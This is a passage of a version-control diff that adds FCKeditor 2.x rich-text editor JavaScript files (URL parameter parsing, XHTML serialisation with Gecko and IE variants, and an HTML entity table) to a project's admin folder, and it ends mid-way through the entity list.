+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckurlparams.js
+ * 	Defines the FCKURLParams object that is used to get all parameters
+ * 	passed by the URL QueryString (after the "?").
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// #### URLParams: holds all URL passed parameters (like ?Param1=Value1&Param2=Value2)
+var FCKURLParams = new Object() ;
+
+var aParams = document.location.search.substr(1).split('&') ;
+for ( var i = 0 ; i < aParams.length ; i++ )
+{
+	var aParam = aParams[i].split('=') ;
+	var sParamName  = aParam[0] ;
+	var sParamValue = aParam[1] ;
+
+	FCKURLParams[ sParamName ] = sParamValue ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml.js	(revision 44)
@@ -0,0 +1,390 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckxhtml.js
+ * 	Defines the FCKXHtml object, responsible for the XHTML operations.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKXHtml = new Object() ;
+
+FCKXHtml.CurrentJobNum = 0 ;
+
+FCKXHtml.GetXHTML = function( node, includeNode, format )
+{
+	FCKXHtmlEntities.Initialize() ;
+	
+	// Save the current IsDirty state. The XHTML processor may change the
+	// original HTML, dirtying it.
+	var bIsDirty = FCK.IsDirty() ;
+	
+	this._CreateNode = FCKConfig.ForceStrongEm ? FCKXHtml_CreateNode_StrongEm : FCKXHtml_CreateNode_Normal ;
+
+	// Special blocks are blocks of content that remain untouched during the
+	// process. It is used for SCRIPTs and STYLEs.
+	FCKXHtml.SpecialBlocks = new Array() ;
+
+	// Create the XML DOMDocument object.
+	this.XML = FCKTools.CreateXmlObject( 'DOMDocument' ) ;
+
+	// Add a root element that holds all child nodes.
+	this.MainNode = this.XML.appendChild( this.XML.createElement( 'xhtml' ) ) ;
+
+	FCKXHtml.CurrentJobNum++ ;
+
+	if ( includeNode )
+		this._AppendNode( this.MainNode, node ) ;
+	else
+		this._AppendChildNodes( this.MainNode, node, false ) ;
+
+	// Get the resulting XHTML as a string.
+	var sXHTML = this._GetMainXmlString() ;
+
+	this.XML = null ;
+	
+	// Strip the "XHTML" root node.
+	sXHTML = sXHTML.substr( 7, sXHTML.length - 15 ).trim() ;
+	
+	// Remove the trailing <br> added by Gecko.
+	if ( FCKBrowserInfo.IsGecko )
+		sXHTML = sXHTML.replace( /<br\/>$/, '' ) ;
+
+	// Add a space in the tags with no closing tags, like <br/> -> <br />
+	sXHTML = sXHTML.replace( FCKRegexLib.SpaceNoClose, ' />');
+
+	if ( FCKConfig.ForceSimpleAmpersand )
+		sXHTML = sXHTML.replace( FCKRegexLib.ForceSimpleAmpersand, '&' ) ;
+
+	if ( format )
+		sXHTML = FCKCodeFormatter.Format( sXHTML ) ;
+
+	// Now we put back the SpecialBlocks contents.
+	for ( var i = 0 ; i < FCKXHtml.SpecialBlocks.length ; i++ )
+	{
+		var oRegex = new RegExp( '___FCKsi___' + i ) ;
+		sXHTML = sXHTML.replace( oRegex, FCKXHtml.SpecialBlocks[i] ) ;
+	}
+	
+	// Replace entities marker with the ampersand.
+	sXHTML = sXHTML.replace( FCKRegexLib.GeckoEntitiesMarker, '&' ) ;
+
+	// Restore the IsDirty state if it was not dirty.
+	if ( !bIsDirty )
+		FCK.ResetIsDirty() ;
+
+	return sXHTML
+}
+
+FCKXHtml._AppendAttribute = function( xmlNode, attributeName, attributeValue )
+{
+	if ( FCKConfig.ForceSimpleAmpersand && attributeValue.replace )
+		attributeValue = attributeValue.replace( /&/g, '___FCKAmp___' ) ;
+	
+	try
+	{
+		// Create the attribute.
+		var oXmlAtt = this.XML.createAttribute( attributeName ) ;
+
+		oXmlAtt.value = attributeValue ? attributeValue : '' ;
+
+		// Set the attribute in the node.
+		xmlNode.attributes.setNamedItem( oXmlAtt ) ;
+	}
+	catch (e)
+	{}
+}
+
+FCKXHtml._AppendChildNodes = function( xmlNode, htmlNode, isBlockElement )
+{
+	var iCount = 0 ;
+	
+	var oNode = htmlNode.firstChild ;
+
+	while ( oNode )
+	{
+		if ( this._AppendNode( xmlNode, oNode ) )
+			iCount++ ;
+
+		oNode = oNode.nextSibling ;
+	}
+	
+	if ( iCount == 0 )
+	{
+		if ( isBlockElement && FCKConfig.FillEmptyBlocks )
+		{
+			this._AppendEntity( xmlNode, 'nbsp' ) ;
+			return ;
+		}
+
+		// We can't use short representation of empty elements that are not marked
+		// as empty in th XHTML DTD.
+		if ( !FCKRegexLib.EmptyElements.test( htmlNode.nodeName ) )
+			xmlNode.appendChild( this.XML.createTextNode('') ) ;
+	}
+}
+
+FCKXHtml._AppendNode = function( xmlNode, htmlNode )
+{
+	if ( !htmlNode )
+		return ;
+
+	switch ( htmlNode.nodeType )
+	{
+		// Element Node.
+		case 1 :
+
+			// Here we found an element that is not the real element, but a 
+			// fake one (like the Flash placeholder image), so we must get the real one.
+			if ( htmlNode.getAttribute('_fckfakelement') )
+				return FCKXHtml._AppendNode( xmlNode, FCK.GetRealElement( htmlNode ) ) ;
+		
+			// Mozilla insert custom nodes in the DOM.
+			if ( FCKBrowserInfo.IsGecko && htmlNode.hasAttribute('_moz_editor_bogus_node') )
+				return false ;
+			
+			// This is for elements that are instrumental to FCKeditor and 
+			// must be removed from the final HTML.
+			if ( htmlNode.getAttribute('_fcktemp') )
+				return false ;
+
+			// Get the element name.
+			var sNodeName = htmlNode.nodeName ;
+			
+			//Add namespace:
+			if ( FCKBrowserInfo.IsIE && htmlNode.scopeName && htmlNode.scopeName != 'HTML' && htmlNode.scopeName != 'FCK' )
+				sNodeName = htmlNode.scopeName + ':' + sNodeName ;
+
+			// Check if the node name is valid, otherwise ignore this tag.
+			// If the nodeName starts with a slash, it is a orphan closing tag.
+			// On some strange cases, the nodeName is empty, even if the node exists.
+			if ( !FCKRegexLib.ElementName.test( sNodeName ) )
+				return false ;
+
+			sNodeName = sNodeName.toLowerCase() ;
+
+			if ( FCKBrowserInfo.IsGecko && sNodeName == 'br' && htmlNode.hasAttribute('type') && htmlNode.getAttribute( 'type', 2 ) == '_moz' )
+				return false ;
+
+			// The already processed nodes must be marked to avoid then to be duplicated (bad formatted HTML).
+			// So here, the "mark" is checked... if the element is Ok, then mark it.
+			if ( htmlNode._fckxhtmljob && htmlNode._fckxhtmljob == FCKXHtml.CurrentJobNum )
+				return false ;
+
+			var oNode = this._CreateNode( sNodeName ) ;
+			
+			// Add all attributes.
+			FCKXHtml._AppendAttributes( xmlNode, htmlNode, oNode, sNodeName ) ;
+			
+			htmlNode._fckxhtmljob = FCKXHtml.CurrentJobNum ;
+
+			// Tag specific processing.
+			var oTagProcessor = FCKXHtml.TagProcessors[ sNodeName ] ;
+
+			if ( oTagProcessor )
+			{
+				oNode = oTagProcessor( oNode, htmlNode, xmlNode ) ;
+				if ( !oNode ) break ;
+			}
+			else
+				this._AppendChildNodes( oNode, htmlNode, FCKRegexLib.BlockElements.test( sNodeName ) ) ;
+
+			xmlNode.appendChild( oNode ) ;
+
+			break ;
+
+		// Text Node.
+		case 3 :
+			this._AppendTextNode( xmlNode, htmlNode.nodeValue.replaceNewLineChars(' ') ) ;
+			break ;
+
+		// Comment
+		case 8 :
+			// IE catches the <!DOTYPE ... > as a comment, but it has no
+			// innerHTML, so we can catch it, and ignore it.
+			if ( FCKBrowserInfo.IsIE && !htmlNode.innerHTML )
+				break ;
+
+			try { xmlNode.appendChild( this.XML.createComment( htmlNode.nodeValue ) ) ; }
+			catch (e) { /* Do nothing... probably this is a wrong format comment. */ }
+			break ;
+
+		// Unknown Node type.
+		default :
+			xmlNode.appendChild( this.XML.createComment( "Element not supported - Type: " + htmlNode.nodeType + " Name: " + htmlNode.nodeName ) ) ;
+			break ;
+	}
+	return true ;
+}
+
+function FCKXHtml_CreateNode_StrongEm( nodeName )
+{
+	switch ( nodeName )
+	{
+		case 'b' :
+			nodeName = 'strong' ;
+			break ;
+		case 'i' :
+			nodeName = 'em' ;
+			break ;
+	}
+	return this.XML.createElement( nodeName ) ;
+}
+
+function FCKXHtml_CreateNode_Normal( nodeName )
+{
+	return this.XML.createElement( nodeName ) ;
+}
+
+// Append an item to the SpecialBlocks array and returns the tag to be used.
+FCKXHtml._AppendSpecialItem = function( item )
+{
+	return '___FCKsi___' + FCKXHtml.SpecialBlocks.AddItem( item ) ;
+}
+
+FCKXHtml._AppendEntity = function( xmlNode, entity )
+{
+	xmlNode.appendChild( this.XML.createTextNode( '#?-:' + entity + ';' ) ) ;
+}
+
+FCKXHtml._AppendTextNode = function( targetNode, textValue )
+{
+	targetNode.appendChild( this.XML.createTextNode( textValue.replace( FCKXHtmlEntities.EntitiesRegex, FCKXHtml_GetEntity ) ) ) ;
+	return ;
+}
+
+// Retrieves a entity (internal format) for a given character.
+function FCKXHtml_GetEntity( character )
+{
+	// We cannot simply place the entities in the text, because the XML parser
+	// will translate & to &amp;. So we use a temporary marker which is replaced
+	// in the end of the processing.
+	var sEntity = FCKXHtmlEntities.Entities[ character ] || ( '#' + character.charCodeAt(0) ) ;
+	return '#?-:' + sEntity + ';' ;
+}
+
+// An object that hold tag specific operations.
+FCKXHtml.TagProcessors = new Object() ;
+
+FCKXHtml.TagProcessors['img'] = function( node, htmlNode )
+{
+	// The "ALT" attribute is required in XHTML.
+	if ( ! node.attributes.getNamedItem( 'alt' ) )
+		FCKXHtml._AppendAttribute( node, 'alt', '' ) ;
+
+	var sSavedUrl = htmlNode.getAttribute( '_fcksavedurl' ) ;
+	if ( sSavedUrl != null )
+		FCKXHtml._AppendAttribute( node, 'src', sSavedUrl ) ;
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['a'] = function( node, htmlNode )
+{
+	var sSavedUrl = htmlNode.getAttribute( '_fcksavedurl' ) ;
+	if ( sSavedUrl != null )
+		FCKXHtml._AppendAttribute( node, 'href', sSavedUrl ) ;
+
+	FCKXHtml._AppendChildNodes( node, htmlNode, false ) ;
+
+	// Firefox may create empty tags when deleting the selection in some special cases (SF-BUG 1556878).
+	if ( node.childNodes.length == 0 && !node.getAttribute( 'name' ) )
+		return false ;
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['script'] = function( node, htmlNode )
+{
+	// The "TYPE" attribute is required in XHTML.
+	if ( ! node.attributes.getNamedItem( 'type' ) )
+		FCKXHtml._AppendAttribute( node, 'type', 'text/javascript' ) ;
+
+	node.appendChild( FCKXHtml.XML.createTextNode( FCKXHtml._AppendSpecialItem( htmlNode.text ) ) ) ;
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['style'] = function( node, htmlNode )
+{
+	// The "TYPE" attribute is required in XHTML.
+	if ( ! node.attributes.getNamedItem( 'type' ) )
+		FCKXHtml._AppendAttribute( node, 'type', 'text/css' ) ;
+
+	node.appendChild( FCKXHtml.XML.createTextNode( FCKXHtml._AppendSpecialItem( htmlNode.innerHTML ) ) ) ;
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['title'] = function( node, htmlNode )
+{
+	node.appendChild( FCKXHtml.XML.createTextNode( FCK.EditorDocument.title ) ) ;
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['table'] = function( node, htmlNode )
+{
+	// There is a trick to show table borders when border=0. We add to the
+	// table class the FCK__ShowTableBorders rule. So now we must remove it.
+
+	var oClassAtt = node.attributes.getNamedItem( 'class' ) ;
+
+	if ( oClassAtt && FCKRegexLib.TableBorderClass.test( oClassAtt.nodeValue ) )
+	{
+		var sClass = oClassAtt.nodeValue.replace( FCKRegexLib.TableBorderClass, '' ) ;
+
+		if ( sClass.length == 0 )
+			node.attributes.removeNamedItem( 'class' ) ;
+		else
+			FCKXHtml._AppendAttribute( node, 'class', sClass ) ;
+	}
+
+	FCKXHtml._AppendChildNodes( node, htmlNode, false ) ;
+
+	return node ;
+}
+
+// Fix nested <ul> and <ol>.
+FCKXHtml.TagProcessors['ol'] = FCKXHtml.TagProcessors['ul'] = function( node, htmlNode, targetNode )
+{
+	if ( htmlNode.innerHTML.trim().length == 0 )
+		return ;
+
+	var ePSibling = targetNode.lastChild ;
+	
+	if ( ePSibling && ePSibling.nodeType == 3 )
+		ePSibling = ePSibling.previousSibling ;
+	
+	if ( ePSibling && ePSibling.nodeName.toUpperCase() == 'LI' )
+	{
+		htmlNode._fckxhtmljob = null ;
+		FCKXHtml._AppendNode( ePSibling, htmlNode ) ;
+		return ;
+	}
+
+	FCKXHtml._AppendChildNodes( node, htmlNode ) ;
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['span'] = function( node, htmlNode )
+{
+	// Firefox may create empty tags when deleting the selection in some special cases (SF-BUG 1084404).
+	if ( htmlNode.innerHTML.length == 0 )
+		return false ;
+		
+	FCKXHtml._AppendChildNodes( node, htmlNode, false ) ;
+
+	return node ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml_gecko.js	(revision 44)
@@ -0,0 +1,62 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckxhtml_gecko.js
+ * 	Defines the FCKXHtml object, responsible for the XHTML operations.
+ * 	Gecko specific.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKXHtml._GetMainXmlString = function()
+{
+	// Create the XMLSerializer.
+	var oSerializer = new XMLSerializer() ;
+
+	// Return the serialized XML as a string.
+	return oSerializer.serializeToString( this.MainNode ) ;
+}
+
+FCKXHtml._AppendAttributes = function( xmlNode, htmlNode, node )
+{
+	var aAttributes = htmlNode.attributes ;
+	
+	for ( var n = 0 ; n < aAttributes.length ; n++ )
+	{
+		var oAttribute = aAttributes[n] ;
+		
+		if ( oAttribute.specified )
+		{
+			var sAttName = oAttribute.nodeName.toLowerCase() ;
+			var sAttValue ;
+
+			// Ignore any attribute starting with "_fck".
+			if ( sAttName.startsWith( '_fck' ) )
+				continue ;
+			// There is a bug in Mozilla that returns '_moz_xxx' attributes as specified.
+			else if ( sAttName.indexOf( '_moz' ) == 0 )
+				continue ;
+			// There are one cases (on Gecko) when the oAttribute.nodeValue must be used:
+			//		- for the "class" attribute
+			else if ( sAttName == 'class' )
+				sAttValue = oAttribute.nodeValue ;
+			// XHTML doens't support attribute minimization like "CHECKED". It must be trasformed to cheched="checked".
+			else if ( oAttribute.nodeValue === true )
+				sAttValue = sAttName ;
+			else
+				sAttValue = htmlNode.getAttribute( sAttName, 2 ) ;	// We must use getAttribute to get it exactly as it is defined.
+
+			this._AppendAttribute( node, sAttName, sAttValue ) ;
+		}
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtml_ie.js	(revision 44)
@@ -0,0 +1,184 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckxhtml_ie.js
+ * 	Defines the FCKXHtml object, responsible for the XHTML operations.
+ * 	IE specific.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCKXHtml._GetMainXmlString = function()
+{
+	return this.MainNode.xml ;
+}
+
+FCKXHtml._AppendAttributes = function( xmlNode, htmlNode, node, nodeName )
+{
+	var aAttributes = htmlNode.attributes ;
+
+	for ( var n = 0 ; n < aAttributes.length ; n++ )
+	{
+		var oAttribute = aAttributes[n] ;
+
+		if ( oAttribute.specified )
+		{
+			var sAttName = oAttribute.nodeName.toLowerCase() ;
+			var sAttValue ;
+
+			// Ignore any attribute starting with "_fck".
+			if ( sAttName.startsWith( '_fck' ) )
+				continue ;
+			// The following must be done because of a bug on IE regarding the style
+			// attribute. It returns "null" for the nodeValue.
+			else if ( sAttName == 'style' )
+				sAttValue = htmlNode.style.cssText ;
+			// There are two cases when the oAttribute.nodeValue must be used:
+			//		- for the "class" attribute
+			//		- for events attributes (on IE only).
+			else if ( sAttName == 'class' || sAttName.indexOf('on') == 0 )
+				sAttValue = oAttribute.nodeValue ;
+			else if ( nodeName == 'body' && sAttName == 'contenteditable' )
+				continue ;
+			// XHTML doens't support attribute minimization like "CHECKED". It must be trasformed to cheched="checked".
+			else if ( oAttribute.nodeValue === true )
+				sAttValue = sAttName ;
+			// We must use getAttribute to get it exactly as it is defined.
+			else if ( ! (sAttValue = htmlNode.getAttribute( sAttName, 2 ) ) )
+				sAttValue = oAttribute.nodeValue ;
+
+			this._AppendAttribute( node, sAttName, sAttValue ) ;
+		}
+	}
+}
+
+FCKXHtml.TagProcessors['meta'] = function( node, htmlNode )
+{
+	var oHttpEquiv = node.attributes.getNamedItem( 'http-equiv' ) ;
+
+	if ( oHttpEquiv == null || oHttpEquiv.value.length == 0 )
+	{
+		// Get the http-equiv value from the outerHTML.
+		var sHttpEquiv = htmlNode.outerHTML.match( FCKRegexLib.MetaHttpEquiv ) ;
+
+		if ( sHttpEquiv )
+		{
+			sHttpEquiv = sHttpEquiv[1] ;
+			FCKXHtml._AppendAttribute( node, 'http-equiv', sHttpEquiv ) ;
+		}
+	}
+
+	return node ;
+}
+
+// IE automaticaly changes <FONT> tags to <FONT size=+0>.
+FCKXHtml.TagProcessors['font'] = function( node, htmlNode )
+{
+	if ( node.attributes.length == 0 )
+		node = FCKXHtml.XML.createDocumentFragment() ;
+
+	FCKXHtml._AppendChildNodes( node, htmlNode ) ;
+
+	return node ;
+}
+
+// IE doens't see the value attribute as an attribute for the <INPUT> tag.
+FCKXHtml.TagProcessors['input'] = function( node, htmlNode )
+{
+	if ( htmlNode.name )
+		FCKXHtml._AppendAttribute( node, 'name', htmlNode.name ) ;
+
+	if ( htmlNode.value && !node.attributes.getNamedItem( 'value' ) )
+		FCKXHtml._AppendAttribute( node, 'value', htmlNode.value ) ;
+
+	if ( !node.attributes.getNamedItem( 'type' ) )
+		FCKXHtml._AppendAttribute( node, 'type', 'text' ) ;
+
+	return node ;
+}
+
+// IE ignores the "SELECTED" attribute so we must add it manually.
+FCKXHtml.TagProcessors['option'] = function( node, htmlNode )
+{
+	if ( htmlNode.selected && !node.attributes.getNamedItem( 'selected' ) )
+		FCKXHtml._AppendAttribute( node, 'selected', 'selected' ) ;
+
+	FCKXHtml._AppendChildNodes( node, htmlNode ) ;
+
+	return node ;
+}
+
+// IE ignores the "COORDS" and "SHAPE" attribute so we must add it manually.
+FCKXHtml.TagProcessors['area'] = function( node, htmlNode )
+{
+	if ( ! node.attributes.getNamedItem( 'coords' ) )
+	{
+		var sCoords = htmlNode.getAttribute( 'coords', 2 ) ;
+		if ( sCoords && sCoords != '0,0,0' )
+			FCKXHtml._AppendAttribute( node, 'coords', sCoords ) ;
+	}
+
+	if ( ! node.attributes.getNamedItem( 'shape' ) )
+	{
+		var sCoords = htmlNode.getAttribute( 'shape', 2 ) ;
+		if ( sCoords && sCoords.length > 0 )
+			FCKXHtml._AppendAttribute( node, 'shape', sCoords ) ;
+	}
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['label'] = function( node, htmlNode )
+{
+	if ( htmlNode.htmlFor.length > 0 )
+		FCKXHtml._AppendAttribute( node, 'for', htmlNode.htmlFor ) ;
+
+	FCKXHtml._AppendChildNodes( node, htmlNode ) ;
+
+	return node ;
+}
+
+FCKXHtml.TagProcessors['form'] = function( node, htmlNode )
+{
+	if ( htmlNode.acceptCharset && htmlNode.acceptCharset.length > 0 && htmlNode.acceptCharset != 'UNKNOWN' )
+		FCKXHtml._AppendAttribute( node, 'accept-charset', htmlNode.acceptCharset ) ;
+
+	if ( htmlNode.name ) 
+		FCKXHtml._AppendAttribute( node, 'name', htmlNode.name ) ; 
+
+	FCKXHtml._AppendChildNodes( node, htmlNode ) ;
+
+	return node ;
+}
+
+// IE doens't hold the name attribute as an attribute for the <TEXTAREA> and <SELECT> tags.
+FCKXHtml.TagProcessors['textarea'] = FCKXHtml.TagProcessors['select'] = function( node, htmlNode )
+{ 
+	if ( htmlNode.name ) 
+		FCKXHtml._AppendAttribute( node, 'name', htmlNode.name ) ; 
+
+	FCKXHtml._AppendChildNodes( node, htmlNode ) ; 
+ 
+	return node ; 
+} 
+
+// On very rare cases, IE is loosing the "align" attribute for DIV. (right align and apply bulleted list)
+FCKXHtml.TagProcessors['div'] = function( node, htmlNode )
+{
+	if ( htmlNode.align.length > 0 )
+		FCKXHtml._AppendAttribute( node, 'align', htmlNode.align ) ;
+
+	FCKXHtml._AppendChildNodes( node, htmlNode ) ;
+
+	return node ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtmlentities.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtmlentities.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fckxhtmlentities.js	(revision 44)
@@ -0,0 +1,340 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckxhtmlentities.js
+ * 	This file define the HTML entities handled by the editor.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKXHtmlEntities = new Object() ;
+
+FCKXHtmlEntities.Initialize = function()
+{
+	if ( FCKXHtmlEntities.Entities )
+		return ;
+
+	var sChars = '' ;
+
+	if ( FCKConfig.ProcessHTMLEntities )
+	{
+		FCKXHtmlEntities.Entities = {
+			// Latin-1 Entities
+			' ':'nbsp',
+			'¡':'iexcl',
+			'¢':'cent',
+			'£':'pound',
+			'¤':'curren',
+			'¥':'yen',
+			'¦':'brvbar',
+			'§':'sect',
+			'¨':'uml',
+			'©':'copy',
+			'ª':'ordf',
+			'«':'laquo',
+			'¬':'not',
+			'­':'shy',
+			'®':'reg',
+			'¯':'macr',
+			'°':'deg',
+			'±':'plusmn',
+			'²':'sup2',
+			'³':'sup3',
+			'´':'acute',
+			'µ':'micro',
+			'¶':'para',
+			'·':'middot',
+			'¸':'cedil',
+			'¹':'sup1',
+			'º':'ordm',
+			'»':'raquo',
+			'¼':'frac14',
+			'½':'frac12',
+			'¾':'frac34',
+			'¿':'iquest',
+			'×':'times',
+			'÷':'divide',
+
+			// Symbols
+
+			'ƒ':'fnof',
+			'•':'bull',
+			'…':'hellip',
+			'′':'prime',
+			'″':'Prime',
+			'‾':'oline',
+			'⁄':'frasl',
+			'℘':'weierp',
+			'ℑ':'image',
+			'ℜ':'real',
+			'™':'trade',
+			'ℵ':'alefsym',
+			'←':'larr',
+			'↑':'uarr',
+			'→':'rarr',
+			'↓':'darr',
+			'↔':'harr',
+			'↵':'crarr',
+			'⇐':'lArr',
+			'⇑':'uArr',
+			'⇒':'rArr',
+			'⇓':'dArr',
+			'⇔':'hArr',
+			'∀':'forall',
+			'∂':'part',
+			'∃':'exist',
+			'∅':'empty',
+			'∇':'nabla',
+			'∈':'isin',
+			'∉':'notin',
+			'∋':'ni',
+			'∏':'prod',
+			'∑':'sum',
+			'−':'minus',
+			'∗':'lowast',
+			'√':'radic',
+			'∝':'prop',
+			'∞':'infin',
+			'∠':'ang',
+			'∧':'and',
+			'∨':'or',
+			'∩':'cap',
+			'∪':'cup',
+			'∫':'int',
+			'∴':'there4',
+			'∼':'sim',
+			'≅':'cong',
+			'≈':'asymp',
+			'≠':'ne',
+			'≡':'equiv',
+			'≤':'le',
+			'≥':'ge',
+			'⊂':'sub',
+			'⊃':'sup',
+			'⊄':'nsub',
+			'⊆':'sube',
+			'⊇':'supe',
+			'⊕':'oplus',
+			'⊗':'otimes',
+			'⊥':'perp',
+			'⋅':'sdot',
+			'◊':'loz',
+			'♠':'spades',
+			'♣':'clubs',
+			'♥':'hearts',
+			'♦':'diams',
+
+			// Other Special Characters 
+
+			'"':'quot',
+		//	'&':'amp',		// This entity is automatically handled by the XHTML parser.
+		//	'<':'lt',		// This entity is automatically handled by the XHTML parser.
+		//	'>':'gt',		// This entity is automatically handled by the XHTML parser.
+			'ˆ':'circ',
+			'˜':'tilde',
+			' ':'ensp',
+			' ':'emsp',
+			' ':'thinsp',
+			'‌':'zwnj',
+			'‍':'zwj',
+			'‎':'lrm',
+			'‏':'rlm',
+			'–':'ndash',
+			'—':'mdash',
+			'‘':'lsquo',
+			'’':'rsquo',
+			'‚':'sbquo',
+			'“':'ldquo',
+			'”':'rdquo',
+			'„':'bdquo',
+			'†':'dagger',
+			'‡':'Dagger',
+			'‰':'permil',
+			'‹':'lsaquo',
+			'›':'rsaquo',
+			'€':'euro'
+		} ;
+
+		// Process Base Entities.
+		for ( var e in FCKXHtmlEntities.Entities )
+			sChars += e ;
+
+		// Include Latin Letters Entities.
+		if ( FCKConfig.IncludeLatinEntities )
+		{
+			var oEntities = {
+				'À':'Agrave',
+				'Á':'Aacute',
+				'Â':'Acirc',
+				'Ã':'Atilde',
+				'Ä':'Auml',
+				'Å':'Aring',
+				'Æ':'AElig',
+				'Ç':'Ccedil',
+				'È':'Egrave',
+				'É':'Eacute',
+				'Ê':'Ecirc',
+				'Ë':'Euml',
+				'Ì':'Igrave',
+				'Í':'Iacute',
+				'Î':'Icirc',
+				'Ï':'Iuml',
+				'Ð':'ETH',
+				'Ñ':'Ntilde',
+				'Ò':'Ograve',
+				'Ó':'Oacute',
+				'Ô':'Ocirc',
+				'Õ':'Otilde',
+				'Ö':'Ouml',
+				'Ø':'Oslash',
+				'Ù':'Ugrave',
+				'Ú':'Uacute',
+				'Û':'Ucirc',
+				'Ü':'Uuml',
+				'Ý':'Yacute',
+				'Þ':'THORN',
+				'ß':'szlig',
+				'à':'agrave',
+				'á':'aacute',
+				'â':'acirc',
+				'ã':'atilde',
+				'ä':'auml',
+				'å':'aring',
+				'æ':'aelig',
+				'ç':'ccedil',
+				'è':'egrave',
+				'é':'eacute',
+				'ê':'ecirc',
+				'ë':'euml',
+				'ì':'igrave',
+				'í':'iacute',
+				'î':'icirc',
+				'ï':'iuml',
+				'ð':'eth',
+				'ñ':'ntilde',
+				'ò':'ograve',
+				'ó':'oacute',
+				'ô':'ocirc',
+				'õ':'otilde',
+				'ö':'ouml',
+				'ø':'oslash',
+				'ù':'ugrave',
+				'ú':'uacute',
+				'û':'ucirc',
+				'ü':'uuml',
+				'ý':'yacute',
+				'þ':'thorn',
+				'ÿ':'yuml',
+				'Œ':'OElig',
+				'œ':'oelig',
+				'Š':'Scaron',
+				'š':'scaron',
+				'Ÿ':'Yuml'
+			} ; 
+			
+			for ( var e in oEntities )
+			{
+				FCKXHtmlEntities.Entities[ e ] = oEntities[ e ] ;
+				sChars += e ;
+			}
+			
+			oEntities = null ;
+		}
+
+		// Include Greek Letters Entities.
+		if ( FCKConfig.IncludeGreekEntities )
+		{
+			var oEntities = {
+				'Α':'Alpha',
+				'Β':'Beta',
+				'Γ':'Gamma',
+				'Δ':'Delta',
+				'Ε':'Epsilon',
+				'Ζ':'Zeta',
+				'Η':'Eta',
+				'Θ':'Theta',
+				'Ι':'Iota',
+				'Κ':'Kappa',
+				'Λ':'Lambda',
+				'Μ':'Mu',
+				'Ν':'Nu',
+				'Ξ':'Xi',
+				'Ο':'Omicron',
+				'Π':'Pi',
+				'Ρ':'Rho',
+				'Σ':'Sigma',
+				'Τ':'Tau',
+				'Υ':'Upsilon',
+				'Φ':'Phi',
+				'Χ':'Chi',
+				'Ψ':'Psi',
+				'Ω':'Omega',
+				'α':'alpha',
+				'β':'beta',
+				'γ':'gamma',
+				'δ':'delta',
+				'ε':'epsilon',
+				'ζ':'zeta',
+				'η':'eta',
+				'θ':'theta',
+				'ι':'iota',
+				'κ':'kappa',
+				'λ':'lambda',
+				'μ':'mu',
+				'ν':'nu',
+				'ξ':'xi',
+				'ο':'omicron',
